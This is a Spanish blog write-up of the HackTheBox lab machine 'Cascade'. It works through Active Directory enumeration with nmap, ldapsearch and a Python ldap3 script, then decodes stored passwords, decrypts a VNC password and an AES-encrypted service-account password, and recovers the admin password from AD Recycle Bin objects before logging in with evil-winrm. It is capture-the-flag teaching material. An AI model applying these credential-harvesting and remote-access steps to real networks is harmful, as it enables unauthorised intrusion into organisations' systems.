· Manuel López Pérez · hackthebox  · 5 min read

WriteUp – Cascade (HackTheBox)

Write-up de Cascade (HackTheBox): máquina Windows media que explota LDAP para enumerar usuarios y atributos ocultos, obtiene credenciales de VNC en registro, revierte binario .NET para clave AES, y recupera contraseña de admin de objetos eliminados en Active Directory Recycle Bin.

Write-up de Cascade (HackTheBox): máquina Windows media que explota LDAP para enumerar usuarios y atributos ocultos, obtiene credenciales de VNC en registro, revierte binario .NET para clave AES, y recupera contraseña de admin de objetos eliminados en Active Directory Recycle Bin.

En este post haremos la máquina Cascade de HackTheBox. Es una máquina Windows de nivel medio que me ha resultado bastante interesante. Tendremos que enumerar el directorio activo en busca de unas credenciales para poder acceder al SMB, descargar el fichero de contraseñas de VNC para escalar a un usuario intermedio, desensamblar un binario para acceder a otro usuario y finalmente explorar los objetos borrados del directorio activo para encontrar unas credenciales que permitan acceder al usuario administrador.

Mi nick en HackTheBox es: manulqwerty. Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.

Write-Up

Enumeración

Como siempre, lo primero sera un escaneo de todos los puertos con nmap:

 nmap --min-rate 4500 --max-rtt-timeout 1500ms -p- 10.10.10.182 

Una vez sabemos qué puertos están abiertos, procedemos a hacer un escaneo más completo con Nmap: versiones (-sV) y utilizando los scripts (-sC):

 nmap -sC -sV -p 53,88,135,139,389,445,636,3268,3269,5985,49154,49155,49157,49158,49165 --min-rate 4500 --max-rtt-timeout 1500ms 10.10.10.182 

Como veis, tiene abiertos los puertos típicos de un directorio activo en Windows. Además tiene abierto el puerto 5985 que puede servirnos para acceder via WinRM cuando tengamos unas credenciales.

El siguiente paso es enumerar el directorio activo con alguno de los siguientes comandos:

 enum4linux 10.10.10.182 ldapsearch -h 10.10.10.182 -p 389 -x -b "dc=cascade,dc=local" rpcclient -U "" 10.10.10.182 

También podemos hacer las consultas LDAP a mano a con la biblioteca de Python LDAP3:

#!/usr/bin/env python3
import ldap3
import json
def find_user_entries(host, port,
ssl=False):
server = ldap3.Server(host,
get_info=ldap3.ALL,
port=port,
use_ssl=ssl)
connection = ldap3.Connection(server) connection.bind()
root_domain = server.info.__dict__['raw']['rootDomainNamingContext'][0].decode() connection.search(search_base=root_domain,
search_filter='(&(objectClass=person))',
search_scope='SUBTREE',
attributes='*')
return connection.entries
HOST = "cascade.local"
PORT = 389
entries = find_user_entries(HOST, PORT)
with open(HOST + ".json", "w") as f: json.dump([json.loads(e.entry_to_json())
for e in entries], f)

La ejecución de este código nos crea un fichero JSON con todos los objetos “person” del sistema.

 python3 ldap_enum.py 

Revisando todos los atributos de cada usuario, encontramos que el usuario “Ryan Thompson” tiene un atributo “cascadeLegacyPwd” que parece ser una cadena de Base64:

 $ echo "clk0bjVldmE=" | base64 -d rY4n5eva 

Ya hemos encontrado un usuario: r.thompson:rY4n5eva

Explotación

Ahora que tenemos unas credenciales, vamos a intentar conseguir una shell via WinRM con la herramienta Evil-Winrm:

Parece que este usuario no puede acceder por esta vía al sistema, vamos a enumerar de nuevo con enum4linux con las nuevas credenciales:

 enum4linux -u r.thompson -p rY4n5eva cascade.local 

Tenemos permisos de lectura en DATA, vamos a probar a acceder vía SMB con SMBClient:

 ./smbclient.py r.thompson:rY4n5eva@cascade.local 

Tras rebuscar y leer los ficheros que tenemos permisos, encontramos algo intersante en “IT/Temp/s.smith/VNC Install.reg”:

 get IT/Temp/s.smith/VNC Install.reg 

En el fichero de instalación de VNC del usuario s.smith encontramos una posible contraseña cifrada “Password”=hex:6b,cf,2a,4b,6e,5a,ca,0f. Para descifrar la contraseña, utilizamos el siguiente repositorio: https://github.com/jeroennijhof/vncpwd Pero antes debemos guardar la contraseña cifrada (que inicialmente está en hexadecimal) en un fichero:

import binascii
with open("vnc_passwd", "wb") as f: f.write(binascii.unhexlify('6b,cf,2a,4b,6e,5a,ca,0f'.replace(",", "")))

Ahora ya tenemos la contraseña de s.smith: sT333ve2.

Vamos a probar estas credenciales con Evil-WinRM:

 evil-winrm -i cascade.local -u s.smith -p sT333ve2 

Ya tenemos el flag de usuario, ahora tenemos que intentar escalar a algún otro usuario o al administrador. Enumeramos de nuevo con enum4linux a ver si podemos acceder a nuevos directorios:

 enum4linux -u s.smith -p sT333ve2 -S cascade.local 

Gracias al comando anterior, vemos que podemos acceder al Share “Audit$”:

Descargamos todos los ficheros y abrimos los binarios (CascAudit.exe y CascCrypto.dll) con DnSpy o cualquier otro decompilador de .NET:

Si leemos el código, vemos que encripta con AES en modo CBC la contraseña (que está en la base de datos que también nos hemos descargado) con la clave “c4scadek3y654321”. Exploremos la base de datos SQLite3:

Con cualquier decrypter online de AES podemos obtener la contraseña del usuario ArkSvc:

O con python:

 from Crypto.Cipher import AES import base64

# https://stackoverflow.com/questions/12524994/encrypt-decrypt-using-pycrypto-aes-256

def _unpad(s): return s[:-ord(s[len(s)-1:])]

c = base64.b64decode(b"BQO5l5Kj9MdErXx6Q6AGOw==") iv = b"1tdyjCbY1Ix49842" key = b"c4scadek3y654321"

cipher = AES.new(key, AES.MODE_CBC, iv)

print(_unpad(cipher.decrypt(c)))

Accedemos con Evil-WinRM al servidor con las credenciales ArkSvc:w3lc0meFr31nd. Vamos a enumerar con este nuevo usuario, listamos los grupos a los que pertenece:

 Get-ADPrincipalGroupMembership ArkSvc | select name 

A mí me sorprendió el grupo “AD Recycle Bin” ya que es el único distinto con respecto del usuario anterior (s.smith).

Tras investigar un poco sobre este grupo en Windows Server 2008 R2, vemos que se pueden listar y recuperar los objetos eliminados del directorio activo:

 Get-ADObject -f {(isDeleted -eq $true) -and (name -ne "Deleted Objects")} -includeDeletedObjects 

Como veis, hay un usuario “TempAdmin” lo cual me llevó a un fichero que pude leer con el primer usuario (Data/IT/Email Archives/Meeting_Notes_June_2018.html):

perform all tasks related to the network migration and this account will be deleted at the end of 2018 once the migration is complete. This will allow us to identify actions related to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin account password).

Así que si recuperamos la contraseña del usuario TempAdmin, podremos acceder como administrador al sistema:

 Get-ADObject -Filter {displayName -eq "TempAdmin"} -IncludeDeletedObjects -Properties * 

Este objeto tiene el atributo “cascadeLegacyPwd” (como r.thompson) con su contraseña en Base64:

 $ echo "YmFDVDNyMWFOMDBkbGVz" | base64 -d baCT3r1aN00dles 

Ahora podemos acceder al sistema con administrador y leer la flag:

 evil-winrm -i cascade.local -u Administrator -p baCT3r1aN00dles 

Back to Blog

Related Posts

View All Posts »
WriteUp – Cascade (HackTheBox)

WriteUp – Cascade (HackTheBox)

Cascade write-up (HackTheBox): Windows media machine that exploits LDAP to enumerate users and hidden attributes, obtains VNC credentials from log, reverses .NET binary for AES key, and recovers admin password from deleted objects in Active Directory Recycle Bin.

HackTheBox Challenges – Web: HDC

HackTheBox Challenges – Web: HDC

First web challenge in the HackTheBox series completed. We learn how to bypass a hardcoded login in JavaScript, discover a secret area with a list of emails, and use Intruder (ZAP or Burp) to find the special address that reveals the flag.

Retos HackTheBox – Web: HDC

Retos HackTheBox – Web: HDC

Primer reto web de la serie HackTheBox retirados. Aprendemos a bypassar un login hardcoded en JavaScript, descubrir un área secreta con una lista de emails y usar Intruder (ZAP o Burp) para encontrar la dirección especial que revela la flag.

WriteUp – Bounty (HackTheBox)

WriteUp – Bounty (HackTheBox)

Bounty write-up (HackTheBox). Easy Windows machine that exploits a vulnerability in IIS, allowing a malicious web.config to be uploaded to execute ASP code and obtain RCE. We then escalate privileges with Metasploit (MS10-092).